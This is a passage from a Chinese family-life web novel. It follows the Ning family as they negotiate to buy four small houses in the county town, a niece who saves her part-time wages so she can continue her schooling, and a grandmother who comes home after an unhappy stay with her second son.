倒也不是图他们带的东西,而是因为每天带的东西都不同,会让人忍不住去猜他们下次再来的时候会带什么,就像个有意思的小游戏。 宁绍明堂屋的窗户探出头:“今天怎么那么晚?” 宁时夏冲进屋,抬头看了一眼挂在墙上的挂钟:“才晚了十五分钟。” 说完就埋头咕咚咕咚地喝水,顾不上再说话了。 “那也快到十点钟了,”宁绍明知道问两个孩子问不出什么,就换了个话题,“你们俩谁先去洗澡?” 宁时秋举手:“天气越来越热了,车太闷了,身上黏黏的真难受。” “你们在车上不开窗?开窗后车子开起来,应该会有风,比较凉爽才对,”宁绍明说着转身进屋里给儿子拿香皂。 宁时秋手里端着一杯宁绍明递过来的冰镇薄荷水,解释道:“我们在车上不敢把窗户开太大,不然车上的光会吸引小飞虫飞进车里,只能开几条缝隙,透透风。” 宁绍明从房间里拿着一块香皂出来给他:“你那香皂只剩一点了,我给你拿个新的,你把快用完的粘在新的香皂上,不然洗澡的时候不好拿。” “好。”宁时秋喝完薄荷水,把香皂拆开,洗澡去了。 宁时夏把他拆下来的香皂盒子,拆成一整片的纸壳子,然后又整整齐齐地叠起来。 赵如月进来看到后笑着问:“又帮你爷爷攒纸壳子呢?” “对呀,爷爷说空牙膏壳也能卖钱,妈妈家里的牙膏用完了你可别扔,到时候我洗干净了收起来一起给爷爷拿去卖钱。” 赵如月笑着答应了,端起桌上明显是为她准备的薄荷水喝了一口。 对坐在旁边的宁绍说:“我最近让关姐带着我在县城到处转悠,看中了一个地方,是一排小平房,跟人家谈房子的事,今天才耽误了点时间,回来晚了点。” “小平房?”宁绍明觉得很耳熟,“是不是你之前说过一次,一排房子全是同一户人家的那个?还说那排房子的位置不错,可惜人家不愿意分开出售,不然买三间平房也挺好,后面收拾收拾,住人也行,用来当仓库也行。” “对,就是那个,我跟如玉路过的时候,她说那家以前说过房子不单卖,我就没把那排小平房放进备选里。 最近实在找不到合适的铺面,我今天又路过那边,看到那排房子门口挂的电话号码不是同一个了,想着那户人家没准分家了,把房子分给了孩子,之前我的想法也许能成,我就打电话问了一下。” “结果怎么样?”宁绍明问。 赵如月:“有两个电话打通了,我当时就把人约出来见了一面,来的两个还真是兄弟俩。” “看来是真是分家了,”宁绍明猜测,“之前那户人家想整排卖,可能是想着卖钱后,分家分钱更公平,结果一直卖不出去,有人着急了才直接分的房子。” 赵如月说:“内情是什么我也不好直接问人家,不过买房子也不是一两天就能决定下来的事,改天我再去找如玉,看看她忙不忙,要是她不是特别忙的话,就托她帮忙打听一下,那排房子离她家也不远,应该能打听得到。” 赵如月想的是那户人家应该挺着急卖房拿钱的。 分家的时候,父母要是有足够的钱,给少分到房的人多一些现金补偿,也能做到尽量公平,而不是执着于把房子卖了再分。 估计是没有足够的钱分,或者子女都想要钱,不想要房子,才会想着一次性卖了那一排房子再分钱。 现在不再坚持先卖房再分钱,而是直接把房子分了,大概分得不够公平,可能互相商量好了,分到房子比较多的人,把房子卖了换钱,再补给分到房子少的人 不管那户人家的真实情况是怎么样,以赵如月的观察,他们看起来确实是比较着急把房子换成钱的。 “那兄弟俩手头上各有两间房子,面积都是一样大,房子大概五十几将近六十平,前面是铺面后面是厨房和一个小房间,没有天井,房子比较旧了,一间开价三万五。” 宁绍明觉得这个价格其实还可以,而且这只是刚出价,应该还有谈下去的余地。 “你跟他们谈的时候,他们的态度怎么样?还能再少吗?” 赵如月说:“要是能一次性拿下其中一个人的两间房,房主愿意再把价格再降一点,我觉得两间谈到六万五左右应该没问题。 但是我们只要三间就有点麻烦,另一个房主不一定会松口分开卖,四间全拿下来的话,就超出我们的预算太多了,我们的钱不够,这种房子不是商品房,好像也不好贷款买。” “改天我跟你去看看,然后再约房主出来谈一谈。” 赵如月看了一眼日历。 “两个房主说他们都在县城的事业单位上班,周六、周日才有空,我跟他们约这个星期的星期六下午你看行吗?” “行,今天才星期三,我们还有星期四、星期五两天,可以找人打听房子的信息,多了解一点,到时候也好谈价格。” 两人说着话,宁时秋已经洗完澡出来,宁时夏自己也收拾好睡衣,拉着赵如月让她带自己去洗澡。 一家人轮流洗完澡后各自睡下。 赵如月抽空给两个房主打电话,约好星期六带着丈夫一起去谈房子的事。 接下来每天除了要忙着店里的事和上课,还要去打听房子的消息。 她不只是托了堂妹赵如玉帮忙打听,也托了几个自己在夜校熟悉起来的、家在县城的女同学。 星期五镇初中放假,宁丹萍回来后洗了洗脸和手,给自己套上围裙就在店里帮忙。 这个时间段,来店里买东西的多是初中生,她一开始还觉得不太好意思,在院子里和后厨帮忙洗菜洗碗比较多。 后来发现她的同学知道那是她叔叔婶婶的店后,特别羡慕她有这样的亲戚。 还问她:“你去你叔叔婶婶的店里帮忙,是不是想吃什么都能随便吃?” 宁丹萍一想,还真是,她三叔三婶好像从来没说过什么东西卖得好,让他们别吃的话。 但凡店里有的东西,只要不浪费,不吃到撑得想吐那种程度,都是想吃就吃。 最近因为吃得好,她的个子都窜高了好几厘米。 以前穿着刚好的衣服裤子都有些短了紧了,只是没钱换。 鞋子因为每年都要买一双,买的时候总会买大一码,现在穿着就刚好。 现在她家里这样,她也不敢跟她妈说要钱买衣服裤子,只能先将就着穿了。 周五下午客人比较多,店里一般都要忙到将近七点才能关门吃饭。 赵如月还要去上课,晚饭只能用饭盒打包在车上吃。 她收拾好要带的书、笔记本、笔和饭盒,背上包出门。 走到门口突然想起,范小蓉帮忙买的MP3还没给宁丹萍。 她是工作日去邮局拿的包裹,一直放在家里没动,打算等宁丹萍放假回来,再让她自己亲自拆开。 “关姐,我突然想起有点事,麻烦你等一下!” 关秀摆手:“你去吧,我不着急。”这个时间,乘客也就赵如月跟她家两个孩子。 赵如月小跑着回自己房间,打开组合柜最下面的抽屉,拿出包裹交给宁丹萍:“这是我朋友帮你买的MP3,前几天就道了,我差点忘记给你,你自己拆开检查一下,要是哪里有问题,等我晚上回来再跟我说。” “谢谢三婶,你以后跟你朋友打电话,麻烦帮我跟她也说一声谢谢她!”宁丹萍拿到包裹,高兴的差点蹦起来。 “好。”赵如月给了她包裹就往外跑。 宁丹萍拆开包裹后,忽然想起什么,又追着一起跑出去。 赵如月已经坐进了车里,看到她跑出来,还以为MP3有什么问题:“怎么了?是MP3哪里有故障还是……” “不是不是,”宁丹萍忙摆手。 接着她又把刚拆出来看了一眼的MP3和一张写着两排字的纸张,还有十块钱一起叠好,重新放进包裹,递给赵如月。 有些不好意思地对赵如月说:“三婶,你去县城能不能帮我去一趟新华书店,让那里的人帮我下载几首歌? 歌名我都写在那张纸上了,你到那边把MP3和那张纸给那里的人就行,可以下载好了再去拿MP3,不用在那边等。” 赵如月接过包裹的时候还有点懵,车子开了一会儿,她回过神来,跟关秀闲聊:“现在下载歌曲原来是这么下载的吗?” 也许是她上辈子在现在这个时候,自己家孩子还小,就没怎么关注过现在这些十几岁孩子喜欢的东西。 等回过神来,已经是手机已经随处可见,不用下载歌曲,只需要下载音乐软件,也还没有会员,歌曲随便听的年代了。 不过宁丹萍写的那些歌什么《孤单北半球》、《丁香花》、《栀子花开》、《隐形的翅膀》、《快乐崇拜》、《两只蝴蝶》、《老鼠爱大米》……这些,她看着也挺眼熟。 原来这些歌现在就出现了啊,她还以为是零八年奥运会前后那几年流行的。 关秀目视前方笑着点头:“是啊,我弟弟家的孩子跟你们家丹萍一个班,之前也闹着他爸妈买了个MP3说是可以学英语,结果英语还是只会hello、yes、No,goodbye那几个词,那MP3平时全用来听那些流行歌了。” 赵如月听了也忍不住笑说:“年轻人是这样的。” “那小子让我听过一次,他的那些歌,要么吵得要命、要么唱得含糊不清,叽里呱啦的,不知道在唱的什么意思。 不过我听我弟媳说,我侄子没去新华书店下载歌,说是去下载一次要五块钱,还只能下载十首歌,那小子说,有这钱他还不如买点好吃的。 所以他每个星期五下午放假,先雷打不动去你家吃一碗炒米粉,再买两个杯子蛋糕和一个铜锣烧,然后就坐车去县城我大妹家,你家买两个杯子蛋糕不是送一个铜锣烧么,他去了就跟我大妹家的儿子一人一个杯子蛋糕和一个铜锣烧。 表兄弟俩边吃边玩那个什么电脑,还会自己下载歌,说是想下载多少都行,一分钱不花。 不过我们这些大人也不懂怎么搞,他们小孩子才知道那些,他星期六就在我大妹家住一天,星期天上午才回家。” 赵如月惊讶道:“你大妹家竟然买电脑了?现在的电脑可不便宜。” 她们县城是真落后,她甚至还没在县城看到网吧,鹏城倒是有,但听说有点乱,她以前没去过,不知道是不是真的。 “是啊,好像一台电脑比一台液晶电视都贵,不过我大妹嫁得好,夫家条件不错,孩子说要买电脑就给买了。”关秀说道这,想到自己婆家,心里难免有些酸涩。 不过倒不是嫉妒,她买这车,她大妹也帮了忙呢,开车挣钱这主意也是她大妹给她出的。 刚开始开车,收入不太行,慢慢的也有了回头客,还有赵如月这个固定乘客,现在她的日子也是慢慢好起来了,她感激自己妹妹还来不及。 赵如月听着也忍不住感慨一句:“现在的贫富差距可真大。” 大城市里可能已经高楼林立、小灵通遍地响、时髦的年轻人们也已经熟练地在网上冲浪。 他们这小县城却还是灰扑扑的,仿佛还在九十年代的模样。 除开学校上微机课教室里的电脑,整个县家里装了电脑的人家也不知道有没有一百户? 当然也有可能她身边接触到的阶层太低,毕竟再穷的地方也不缺有钱人。 赵如月想着想着,心里忽然升起了一股紧迫感。 不过……她捏了捏自己背包里的专业教材,这一次她并不像还在鹏城时,被房东带去工厂那样有一种脚踩不到实地的漂浮感。 第95章 赵如月本想等上完第一节课,中间休息的时候,再带着宁丹萍的MP3去新华书店让人帮忙下载歌曲。 但是她乘坐的面包车不像镇上的公交车那样,中途不管到不到站,只要有人招手或者喊停就停下,让乘客上下车。 也不像摩托车那样是肉包铁,需要更加注意安全,时速不敢太快。 面包车开得快,半路花费的时间少,她们到县城时,赵如月看了看时间,距离她上课还有十分钟。 就让郑秀先送自己去新华书店。 到了新华书店门口,赵如月一走进去,就看到很多学生挤在柜台前面,有少部分在买MP3、MP4,大部分是挤在柜台的另一边,等着下载歌曲的。 赵如月不禁在心里庆幸,自己没等第一节课下课才来,看这架势,来得晚了,今天能不能把歌下载好还是个问题。 她的担忧很快得到了印证。 在她把宁丹萍的MP3和那张写着歌单的纸,交给负责下载的人之后。 那个人又收了几个人的MP3和歌单,就对后面排队的人说:“今天着急要的别排了,名额已经满了,再排今天也没法下载好,还得把MP3留在这里,明天才能拿。” 店员的话说完,后面排着的人里就有好几个发出哀嚎,但也离开了队伍。 剩下的人都是不着急要的,直接把自己的MP3和歌单交给店员,说好明天什么时候来拿就走了。 这些人一走,店员在柜台上放了个‘今日名额已满’的牌子,柜台这边瞬间空了好多。 排到名额的学生也不着急回家,正好在书店,直接上了二楼就能找本书打发等待下载歌曲的时间。 耽搁了一点时间,赵如月赶到学校,踏着上课的铃声走进教室,庆幸自己没迟到。 她今天还带着两个孩子,母子三个在校门口下车后,为了赶时间,一起一路狂奔。 郑秀看着觉得有意思,还从车里伸出头来,大声给她们喊加油,带着门口的保安大爷也跟着喊加油。 逗得两个孩子一边跑一边乐得咯咯笑。 上课的教室不小,他们这个专业的人又有点少,只有不到三十个,所以后排的位置很空。 两个孩子进了教室,自己自觉地跑到后排,拿出作业开始写,只偶尔发出一点轻微到几乎听不到的翻书的声音。 晚上下课后,同班的女同学问赵如月要不要一起去吃宵夜:“最近江边码头附近的一条路晚上被封起来,开了一个夜市街,我前几天去看过一次,特别热闹,你们今天要不要一起去?” 赵如月不太想去,现在她只想回家洗个澡然后舒舒服服地躺下。 但她还带着两个孩子,可能孩子想去呢? “你们想去吗?”赵如月问两个孩子。 宁时秋说不想。 宁时夏也摇头,却说道:“我有点想去,但是老师说放学不能在外面玩,得先回家,上学的人是妈妈也得先回家。” 她用往常大人哄她的语气,反过来哄自己妈妈:“妈妈,我们今天先回家,明天提前跟家里说一声,再陪你去玩好吗?” 几个等着赵如月答复的女同学看着她都忍俊不禁:“小小一个人,怎么跟个小大人似的,还会哄人呢?真可爱!” 宁时夏纠正这个阿姨的话:“我不是小大人,别人都说我哥才是小大人,我是我妈的家长。” 她不太懂家长得长辈才能当,只觉得谁负责送人去上学谁就是家长,那自己和哥哥就是妈妈的家长了。 “好好好,你是家长,我听你的,”赵如月带着歉意对同学说,“我明天跟我家孩子爸说一声,我们明天再约?” “也成,明天星期六,肯定更热闹。” 赵如月带着孩子离开教室,郑秀已经在校门口等着他们了。 她最近晚上送他们到学校就在县城拉短途的客人,挣的不多,但能挣一点是一点。 回到家,赵如月跟宁绍明说起夜市的事。 宁绍明听完对那个夜市也很感兴趣:“明天我跟你们一起去看看。” “好,快睡吧,明天还得早起,下午又要去县城跟人约好谈房子的事,你下午就没法补觉了。” 他们每天早上要赶早餐那一波客流,几乎每天都要凌晨四五点起床提前做准备,只能下午两三点人少的时候轮流补补觉。 但明天跟人约好的时间是下午一点,宁绍明就只能在车上休息半个小时了。 宁绍明应了一声,躺下后头一沾枕头,秒睡。 一觉睡到生物钟固定醒来的点,不用闹钟他们就睁开了眼睛。 赵如月起身出去上厕所,看到宁丹萍已经洗漱好了。 周六这一天,白天赵如月都要上学,好在有宁丹萍帮忙。 现在宁丹萍对店里的活已经很熟悉了,几乎已经能当一个成熟的服务员用。 她做得好,赵如月也没吝啬,现在她每次放假回来在店里帮忙,都会算作是在店里做兼职,一天会给她算十块钱兼职工资。 但是这钱暂时没给,而是按照宁丹萍的要求,全都暂时存在赵如月这里。 这件事他们也没对外说。 除了宁丹萍本人之外,只有赵如月和宁绍明两个人知道,连宁时春都不知道。 星期六和星期日有宁丹萍的帮忙,再加上有时候赵如月娘家妈也会带着她外甥和外甥女们来帮忙,她不在的时候店里也没出过乱子。 赵如月对宁丹萍道:“你怎么起那么早,你们这个年纪还在长身体,应该多睡觉,我七点四十才出门,你等我出门的时候再接手店里的事都行。” 宁丹萍笑了笑说:“没关系的三婶,我也就是偶尔起这么早。” 她哥会手艺,一个月也才拿三百五十的工资,她一天拿十块钱,要是干一个月就是三百,只比她哥少五十,不多做一点总感觉对不起叔叔婶婶给自己开的工钱。 宁丹萍却忘了,他哥因为是跟自家亲叔叔学手艺,不用花钱学,还能拿到工资,已经算很好的条件,她在店里帮忙,也就能得到一点干服务员和收银员的经验,他们俩的工资是不好这么比的。 宁丹萍快十六岁了,但因为之前成绩太差,被留级了,所以还在上初二。 镇上有很多她这个年纪,甚至比她还小的孩子,已经借了不出去打工的成年亲戚的身份证,跑到大城市进厂打工挣钱去了。 原本她也是走的这条路。 她要是满十六岁出去,年龄也合法了,连身份证都不需要借别人的。 但宁丹萍已经不太想走这一条路。 如果说以前的她是唯唯诺诺、懵懵懂懂,不知道自己的路在哪里,只知道随大流,成绩不好就出去打工的话。 自从那次赵如月去镇初中找她,离开前让她有时间多去图书馆看书后,随着她读到的书越来越多,越来越杂,对这个世界的认知就开始变得不一样了。 她对自己的未来也有了个明确的目标,那就是继续读书。 至少要拿到一个比初中高的文凭,会一个能安身立命的技能。 宁丹萍以前的成绩在学校里只能说不是倒数,现在经过努力,提升到了中游水平,但到这个阶段,她已经开始感觉到再把成绩往上升很吃力了。 宁丹萍有目标后,特地去问过老师最近几年高中和大学的分数选。 然后就放弃了这条路,她知道自己上高中不一定能考上大学,甚至不一定能考上大专。 于是在上次跟赵如月去过一次县城的中专校园后,她就把目标定在了那里。 可现在读中专已经不免学费了,她但家里现在这个样子,恐怕供不起,大概也不会供她继续读,想继续读书就得自己想办法,自己为自己打算。 所以宁丹萍即使觉得自己吃住在叔叔婶婶家,已经是占了很大的便宜,也还是强忍着心里的羞愧感,厚着脸皮接受了叔叔婶婶给自己的工资。 以前宁丹萍担心自己攒下的钱被家里发现没收,是有想买的东西。 现在她想买的东西已经买到了,又把工资放在赵如月那里攒着,是为了自己的以后。 但是宁丹萍不知道,站在赵如月的角度,只觉得家里的店有个知根知底、还勤快能干的人帮忙有多难得。 那真是给她们家省了好多事,所以给出去的那点工资,在赵如月看来根本不算什么。 王海燕对宁丹萍的教育有问题,但是赵如月也不得不承认,她确实教出了一个很会干活的女儿,只是太过利他却不利孩子自己。 赵如月知道王海燕这样的教育方式不对,但现在她的两个孩子都这么大了,知道也没用。 人家的教育问题赵如月也不敢插手,只能在自己能力范围内帮衬一下,再多就没办法了,毕竟她也有自己的孩子要养。 而且赵如月有自知之明,她自己也不是什么懂得教育孩子的人, 现在她对自己家的也是放养式教育为主,在孩子的成长过程中,也是根本不敢过多插手的。 赵如月出门后,又过了半个小时,宁时秋和宁时夏才起床。 宁时夏吃过早饭,开始整理她给爷爷攒下来的那堆破烂。 听到他哥推自行车出门的声音,宁时夏急忙跑出去:“哥,你先别出去玩,等会儿帮我载这些东西去爷爷那里。” 宁时秋看到她那一堆破烂就头疼:“我看妈妈班上的阿姨们确实说错了,你不是小大人,而是小老太太,小小年纪就开始收集这些了。” “这不是爷爷想要嘛,又不费什么时间,你帮不帮?” “帮帮帮,你抓紧时间收拾,我跟表哥他们约好了,今天去帮忙摘……”宁时秋意识到自己说漏嘴了赶紧噤声。 然而已经晚了。 “嗯?你们去摘什么?”宁时夏盯着他,也不收拾自己那堆破烂了,“你快快给我如实招来!” 宁时秋无奈:“去外婆菜地那边帮忙摘葡萄。” 他们外婆家的菜地临近山地,以前在那山坡上开荒,这几年种了半坡的葡萄。 今年镇上别人家的葡萄还半紫半绿,他外婆家的葡萄就成熟能摘了。 所以外公外婆想着趁着自家葡萄熟得早,抓紧时间摘了拿去卖。 “为什么外婆叫你不叫我?”宁时夏不服,她也想去摘葡萄。 “你太小了,够得到架子上的葡萄吗?而且葡萄地里还有蚊子,你忘了去年你被叮了多少个大包?” 宁时夏没忘,而且一想起来就觉得身上痒,但她还是不服:“那也应该跟我说一声,怎么能只跟你说,不跟我说!” 她决定改天等外公外婆和舅舅舅妈都闲下来,就找他们理论去。 “谁让你去年非要跟着去,不让去就嗷嗷哭,哄都哄不了。” “我没哭!”她确实哭了,但她要面子,绝对不承认。 “好好好,你没哭,那你还跟着去吗?跟我去喂蚊子。” “不去了。”宁时夏最讨厌蚊子。 她不由自主地挠了挠根本没有蚊子包的白嫩胖小腿:“我跟爷爷去卖破烂。” 宁时秋只好先跟她一起,把她收集到的东西整理好。 又帮她运到爷爷家,才调转自行车拐到外婆家的菜园。 宁时夏兴奋地冲进爷爷家,却看到爷爷一个人在吃早饭。 这几天她来了好几次,每次都只见爷爷一个人吃饭,以前都是跟奶奶一起。 前几次宁时夏还没感觉有什么不对,今天终于看出来了。 “爷爷,我奶奶呢?这几天怎么都没见她?她在房间里吗?” 宁时夏有点担心,因为之前大伯就是躲在房间里,后来不躲了,还是不太出来见人,后来就被警察叔叔抓走了。 妈妈说大伯是做了坏事才被抓走了,她奶奶不会也做坏事了吧? 宁达看到孙女,放下碗笑眯眯地说:“她去你二伯家玩了,你吃过早饭没?” “吃过了才来的,爷爷你吃完出来看,我攒了可多东西,我们今天拿去卖吧!” 宁达正好也吃饱了,他把没吃完的菜用菜罩盖起来,把碗洗干净出去一看,确实很多:“好,今天就拿去卖。” 他有个三轮推车,把东西放上去,还能再把孙女放上去,推着她走。 “坐稳了,出发喽!” “好!出发!” 爷孙俩把这段时间攒的破烂卖了,得了十块钱,宁达分两块给小孙女当零花钱,然后剩下的又拿出七块钱收起来:“这七块钱爷爷给咱们小夏存着,等你长大考上大学就都给你,另外这一块钱,等会儿去买辣条,我们俩一起吃。” 旁边站着的回收站老板听到这话就笑了,跟宁时夏开玩笑说:“你爷爷忽悠你呢,等你长大那七块钱就花完了!” 大人嘛,都这样,每年过年的时候他见得多了。 而且镇上的小卖部和小学门口的摊子,一片辣条才一毛钱。 一块钱能买十片辣条,哪有大人给孩子买那么多的,老爷子肯定是要买别的,然后再花一毛钱买一片辣条,哄哄孩子。 他就没想过大人也会吃辣条。 宁时夏让哥哥帮自己存的钱七十都有了,根本不在意这些:“我爷爷花就花了,能花是福。” 回收站老板听了哈哈大笑。 爷孙俩把三轮推车推回家放好,宁达一把年纪了,爱吃辣条但不好意思去买,就把钱给孙女,让她去买。 宁时夏都买出经验来了,她直接拿一块钱去买十片,老板肯定会觉得她买太多了,以为她背着大人拿钱出来乱花。 然后去她家找她爸问清楚,不然也怕卖给孩子后,人家家长找上门来。 她出门后,先在家附近的小卖部买了四片,老板认识她,会以为是给她自己和她哥哥买的,买四片回去给要给他哥分两片。 然后再去学校门口的小摊子买四片,回来路过自己家附近的小卖部再买两片,小卖部的老板就会以为她跟她哥没吃够,又来买。 其实他哥根本不爱吃辣条,她哥更爱吃甜甜又软糯的东西。 平时他想吃了,顶多就着她的辣条咬一口尝尝味道,而且真的就咬一口,多了都不吃。 那十片辣条买回来后,爷孙俩一人分五片,排排坐,吃得斯哈斯哈的。 吃完后宁达给孙女擦嘴漱口:“回去可别让你爸知道你吃了那么多,要不下次可就没得吃了。” 宁达也知道给孩子吃多了这玩意儿不好,但是他也不是经常给孩子一次吃那么多,也就偶尔破烂攒够了卖钱当天吃一回。 平时他自己想吃,大部分时候都是以给孩子买的名义买,然后瞒着孩子自己偷偷吃。 宁时夏一个劲点头,结果回到家还是露馅了。 辣条的味道太浓,他们爷孙俩吃得满鼻香,自己察觉不到自己身上的味道有多重。 但是没吃辣条的人一闻就能闻出来。 宁绍明又是好气又是好笑,熬了一壶凉茶,带到老宅,让他们爷俩也把这凉茶平分,全部喝完。 爷俩只能再次排排坐喝凉茶,苦得他俩想飙泪。 宁达为了转移儿子注意力,让他别盯着自己喝,提起黄秀华去老二家的事:“你妈去你二哥家也好几天了,也不知道她现在怎么样。” 宁绍明想冷笑,但是忍住了,开始睁着眼睛说瞎话:“我二哥那么孝顺,能不把我妈伺候好?不虬是担心我妈在那边过得太舒坦,不想回来了吧?” 悄摸回家的黄秀华站在门口听到宁绍明这话,进来也不是,不进也不是。 她这段时间在老二家过的日子,跟舒坦可一点边也搭不上。 刚开始的时候还好,她带着钱去,把之前在老二这里拿的钱又给他了。 虽然那些钱也是曾经她给宁绍德的补贴,但在宁绍德眼里,甭管是谁给的,钱给了他就是他的了,再逼他把钱吐出来跟要他的命似的。 现在换回来,他只有自己的钱失而复得的庆幸,完全没有一丝感恩。 黄秀华去住的前两天他还能装一装,住得久了,老人生活习惯又跟他们不一样,总是跟他媳妇儿闹矛盾。 他们买房子缺的那一部分钱,还等着他媳妇儿回娘家找老丈人和大舅子贴补。 别说一个星期,还不到五天,宁绍德就拐弯抹角地问黄秀华什么时候回家。 黄秀华那个心酸啊,来这么多天,就第一天晚上吃上了一顿肉。 后面接连好几天,吃饭的时候就一碟子炒青菜,还有一点咸菜或者酸菜。 一顿饭下来,都是在听他们夫妻俩变着花样哭穷,她还以为他们真不宽裕,正准备去给他们买肉吃,一出门就在街角看到老二媳妇儿带这女儿进饭店吃饭去了。 黄秀华背地里抹了半晚上的眼泪。 今天就收拾收拾东西回来了。 她本来想着选一个家里大概率不会有人,镇上走动的人也少的时间悄摸地回来,像现在这个吃午饭的点就很好。 外面太热太阳太晒,镇上的人要么不回家,直接带饭在地里吃午饭,要么回家了就躲在家里吹风扇,路上几乎看不到行人。 到时候她说自己非要回来,老二还特地请假送自己回来的,应该不会有人知道是撒谎还是真的,自己也能保住面子。 没想到老三竟然回了老宅,老三这反骨仔不是总说店里忙,不喜欢回来吗? 黄秀华正想着老大媳妇儿这会儿应该也在地里,要不去隔壁老大家躲一下,等老三和小夏走了再悄摸回家。 宁绍明下午跟人约好谈房子的事,要赶着去县城,疾步走出来,就跟黄秀华撞了个正着。 黄秀华脸都憋红了,也没憋出一句话来。 宁绍明扫一眼他妈带回来的行李,八成是怎么去的又怎么回来了,老二连一袋水果一瓶水也没舍得给她买。 总觉得再说什么嘲讽戳她心窝子的话也怪没意思的,宁绍明淡淡说了一句:“回来了,爸做了午饭,不过他自己应该吃不下了。” 宁达苦着脸,可不是么,他喝凉茶都喝饱了。 宁绍明没多说什么,让黄秀华松了一口气。 回到家后她感觉整个人浑身都轻松了许多,精神也没那么紧绷了。 宁绍明回家换了一身干净体面的衣服,坐上郑秀的车前往县城赵如月订好的饭店。 今天赵如月堂妹也特地一起来了,宁绍明到的时候,赵如月和赵如玉已经在这里等了一会儿。 看到赵如玉竟然特地抽空来帮他们夫妻俩,宁绍明忙不迭地说了一连串感激的话。 赵如玉在县城工作那么多年,又嫁给了县城的本地人,对县城比他们夫妻俩了解更多。 果不其然,等卖家兄弟俩到了之后,一看到赵如玉,就满面笑容地说:“没想到竟然是熟人,早知道我就直接给最低价了!” 兄弟俩还殷勤地问候了赵如玉的公公婆婆,让她回去后帮他们跟她公公婆婆带个好。 接下来的事情也顺利了很多,原本三万五一间房子的价格,谈到了四间一共十二万。 能谈到这个价格赵如月和宁绍明都很满意。 但是卖家兄弟俩要求,房款能在签完合同后一个月内,一次性付清。 本来赵如月和宁绍明听到这个条件,还有点犹豫,他们手头上的钱,满打满算也才十万。 还得给店里和家里留点现钱备用,十二万真的超出他们预算太多了。 但赵如玉却悄悄跟赵如月说,要是他们的钱不够,她可以借他们一部分,只要在三万之内就行。 赵如月跟宁绍明一商量,以他们店里的收益,两万块钱,很快就能还完。 两人立刻决定签合同,把那四间房子拿下。 不过在买了这四间平房后,原本预备贷款也要买的小区步梯房,连首付也拿不出来,就只能暂时搁置了。 第96章 黄秀华回到家,刚歇了一口气,转头看到饭桌上的一碟小咸菜配粥,心里下意识感觉有点难受。 她神情恍惚了一下,回过神来,意识到自己不是在县城老二家,心口才没那么憋闷了。 “今晚上吃什么?”黄秀华问。 宁达稀奇地盯着她看,那眼神看得黄秀华怪别扭:“你这么看着我做什么?我问你话呢!” “我就是觉得太阳打西边出来了,家里吃什么你竟然还会跟人商量,稀奇,真稀奇!” 往常只要她在家,吃什么都是她决定,顶多通知他一声,他哪有决定权了? 而且这午饭还没吃,就问晚饭,八成是在老二家没吃好。 宁达本来还想看老妻笑话,但好歹是陪伴了一辈子的人,听到她肚子饿得咕噜咕噜响,就知道她回来前,没能在老二家混上一顿饭。 宁达不禁也心里埋怨老二不是个东西,别人遇到乞丐上门讨碗饭大部分都愿意给,这可是最偏疼他的亲妈! 黄秀华被他说得怪不自在:“问你还有错了?” 宁达不回答,反而问她:“你兜里的那点钱,被老二薅光了?” “说什么屁话呢,我又不是傻子!”黄秀华想起自己回来前一天,还发现老二媳妇儿偷偷翻看她的行李。 这会儿她一想起来就有点应激。 同时也在心里庆幸,自己不在家的时候,总是喜欢把钱贴身放,洗澡也要带进洗澡间去。 她确实想过老二买房的时候再给他补贴点钱,可没想过把自己全部老本都贴进去! “你那点钱没被薅光就行,要不我的钱可不给你花,那都是留着给孙子孙女们上大学用的。”宁达对自己的钱早计划好了。 黄秀华问:“那万一家里没人考上大学,你那点钱就留着带进棺材了?” “你这乌鸦嘴,能不能说点好的?你不希望小秋和小夏考上大学?” “我看小秋和丹洁八成能考上,两个孩子都坐得住,小夏成天到处疯玩,还得小秋压着才愿意学习。” 宁达摇摇头,觉得老婆子真是眼瞎。 “那就看着呗,反正谁考上我给谁。” 在老二家被伤了心后,黄秀华听到自家老头这话,也觉得他这主意好,就是不够稳妥。 等孩子考上再给有什么用?要给就早点给,就像电视上演的那样,古代有钱人都是在书生落魄的时候资助,雪中送炭人家才会感恩。 黄秀华思来想去,决定提前对小孙子好些,老二家的丹洁她本来也挺喜欢,但人家更亲老二媳妇儿的娘家人。 跟老二媳妇儿似的,总感觉有点看不上他们这边的泥腿子爷爷奶奶。 黄秀华填饱了肚子就去老三家看看小孙子,这个点太阳太猛烈,宁时秋外婆已经让他和他表哥表姐们回家休息了。 宁时秋家从帮赵思莲批发冰棍开始,家里冰棍雪糕就没断过。 黄秀华来的时候,宁时秋正给表哥表姐们拿雪糕吃。 她一进来,看到好几个孩子在这里吃雪糕,还是现在涨价到三毛一根的奶油雪糕,心里就不太得劲。 老赵家四个孩子,赵如月大姐家三个、小妹家两个,每人吃一个雪糕,一次就得吃掉她家老三将近三块钱! 家里有多少钱够人家吃的? “奶奶你来了?”宁时秋抬起头,看到她打了声招呼,又问,“你吃雪糕吗?冰箱里还有。” 黄秀华顶着大太阳一路走过来,热得头顶要冒烟。 她心里是想吃的,但嘴上却推脱:“我上了年纪,吃不动这些冰的东西,你也少吃点,吃多了伤胃,隔几天吃一根就行了。” 她说着瞥了一眼宁家的那几个孩子,继续说:“一天那么多雪糕,不得好几块钱?你爸在厨房辛辛苦苦干一天,才挣多少钱?” 小孩子对人善意和恶意的感知都很敏锐,黄秀华那话没点名道姓地说他们,但他们也隐约感觉不太对。 宁时秋也察觉到了,他拿了个袋子,往里装几个大人比较爱吃的盐水老冰棍。 然后交给表姐:“思芸姐,这个麻烦你帮我带回去给外公外婆和舅舅舅妈他们。” 赵思芸拿了袋子,招呼弟弟妹妹回家,几个孩子跟受了惊的小兔子似的,一个个往外跑。 跑远了才夸张地拍了拍胸口:“你们刚刚发现没?小秋他奶奶刚刚看我们的眼神……” “可真吓人!” “下次她在的话,我可不敢去小秋家了。” 赵思芸小时候是赵如月带着,跟这个姑姑关系最好。 她说:“没事,小秋他奶奶在的时候,如果姑姑也在就不怕,姑父在也行,姑姑和姑父在家,小秋奶奶不敢这么说我们。” “可惜今天姑姑和姑父都去县城了,不知道什么时候才回来,”赵思莲的弟弟说,“爸妈让我们下午给小秋家送葡萄,到时候他们还没回来怎么办?我不想让小秋他奶奶吃我们家的葡萄。” “等傍晚姑姑下课就回来了。” 他们走后,宁时夏在外面玩够了回来,看到店里只有哥哥在收客人吃完的碗,还觉得奇怪。 以往星期六和星期天她表哥表姐们都会来帮忙,因为外婆不许妈妈给表哥表姐们工钱,所以等下午不那么忙的时候,她爸就会给他们这些小孩做一些好吃的。 今天怎么都不在? “哥,其他人呢?” “我让表哥表姐他们给外公外婆送冰棍吃去了,店里没什么客人,丹萍姐就回你房间看书写作业了。”宁时秋放下擦好桌子的抹布,给妹妹使了个眼色。 